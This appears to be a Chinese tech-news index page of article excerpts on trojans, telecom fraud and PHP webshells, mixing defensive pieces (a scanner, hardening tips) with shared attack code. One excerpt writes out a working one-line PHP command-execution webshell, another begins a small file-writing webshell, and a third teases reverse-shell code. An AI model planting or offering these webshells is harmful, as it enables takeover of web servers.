-
伪基站+手机木马病毒骗了10万人
站长搜索（www.adminso.com）：伪基站+手机木马病毒骗了10万人 12月中旬，淮安市公安局清河分局陆续接到报警称，市民银行卡上的钱被盗刷，他们的共同点在于，此前上网时都进行过所谓的手机话费积分兑换。当地警方经侦查，摧毁了一个用伪基站配合手机木马病毒进行诈骗的新型犯罪团伙，抓获嫌疑人8名，涉案金额200余万元，受害居民10万余人...
业界动态 2014-12-29 13:54:06 -
警惕！新型恶意木马变种正在传播
站长搜索（www.adminso.com）：警惕！新型恶意木马变种正在传播 国家计算机病毒应急处理中心通过对互联网的监测发现，近期出现一种恶意木马程序变种Trojan_Agent.IXM。该变种运行后，会在受感染操作系统的指定目录下释放恶意文件，判断当前进程是否为系统进程，不是则将自身拷贝重命名，设置属性为系统和隐藏...
业界动态 2014-12-29 09:45:05 -
手机银行木马同比增九倍
超一半网络攻击直奔钱袋越来越多的黑客将攻击对象由获取隐私直接转向用户的钱袋。昨日，安全厂商卡巴斯基实验室发布的2014年度网络威胁统计数据显示，今年卡巴斯基实验室反病毒产品共拦截了62亿次针对用户计算机和移动设备的恶意攻击，该数据较2013年增加了逾10亿...
互联网 2014-12-19 11:18:08 -
几个php小马分享(木马)
本文为大家整理了几个php小马分享(木马),感兴趣的同学参考下. 我也来个超小PHP小马 <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\','/',__FILE__) ?>"> <br><br> <textarea name="text" COLS="70&qu...
PHP 2014-12-16 08:39:05 -
php木马webshell扫描器代码示例
本文是一个php木马webshell扫描器代码示例,感兴趣的同学参考下. 因为前端时间服务器被放过 所以写了个webshell扫描器 呵呵 专杀php webshell 不管大马还是小马 包括一句话 现在放出代码来 <?php /*===================== 程序配置 =====================*/ $dir='cms'; //设置要扫描的目录 $jumpoff=false;//设置要跳过检查的文件 $jump='safe...
PHP 2014-12-16 03:36:20 -
php木马攻击防御之道
本文通过介绍一些技巧介绍了针对PHP木马攻击的防御之道，通过这些方面您能够更好的防范木马程式。 1、防止跳出web目录 首先修改httpd.conf，假如您只允许您的php脚本程式在web目录里操作，还能够修改httpd.conf文档限制php的操作路径...
PHP 2014-12-14 17:36:13 -
php一句话cmdshell新型 (非一句话木马)
本文为大家讲解了一个新的一句话木马写法:"`"(键盘上~符号的下档键),和python中一样,这个符号中的命令会被php解析器执行,感兴趣的同学参考下. php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)； <?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令，并返回命令执行的结果(string类型)； //局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；``里面不能执行php代码； //write by skyfire */ echo `$_REQUEST[id]`; ?> ...
PHP 2014-12-13 05:27:08 -
PHP 木马攻击防御技巧
本文为大家讲解了php开发中的木马攻击防御技巧,感兴趣的同学参考下. 实际上我们还可以通过设置各个文件夹的权限，来让apache用户只能执行我们想让它能干的事情，给每一个目录建立一个单独能读写的用户。 1、防止跳出web目录 首先修改httpd.conf，如果你只允许你的php脚本程序在web目录里操作，还可以修改httpd.conf文件限制php的操作路径...
PHP 2014-12-13 00:42:04 -
php反弹shell实现代码(反弹木马)
本文为大家讲解了一个php实现的反弹shell的示例代码(反弹木马),并简单讲解了他的原理,感兴趣的同学研究学习下. 遇到一个BT的网站，上传php文件成功之后，每访问一次，文件名就会随机改变一次，并且你访问当前文件如果点其他操作项，文件仍然会改名。 非常无 奈，没想 到什么好的办法，后来灵光一闪...
PHP 2014-12-12 12:06:13 -
PHP获得文件的md5并检验是否被修改(可用来防止木马)
本文为大家讲解的是php通过md5_file函数获得文件的md5并检验是否被修改，一般可以用来防止木马，或源程序被修改，感兴趣的同学参考下。 由于需要判断上传的文件是否被修改过，需要记录上传文件的md5值，所以这里说一下一下获取文件md5值的方法...
PHP 2014-12-12 04:27:09 -
全世界最小的php网页木马一枚 附PHP木马的防范方法
php网页木马代码，大家可以看下自己的网站里面是不是有这样的代码，注意网站安全用mcafee限制w3wp.exe生成php或者asp文件。并在php.ini中设置一下...
PHP 2014-12-11 09:00:05 -
php 木马的分析(加密破解)
本文对一个网上的典型php木马进行了解密分析,感兴趣的同学参考研究下. 前一段时间上网查找到了一个经过“加密”过的php木马，出于好奇就对其代码进行了分析 分析可以知道，此木马经过了base64进行了编码，然后进行压缩。虽然做了相关的保密措施，可是php代码要执行，其最终要生成php源代码，所以写出如下php程序对其进行解码，解压缩，写入文件...
PHP 2014-12-10 02:06:05
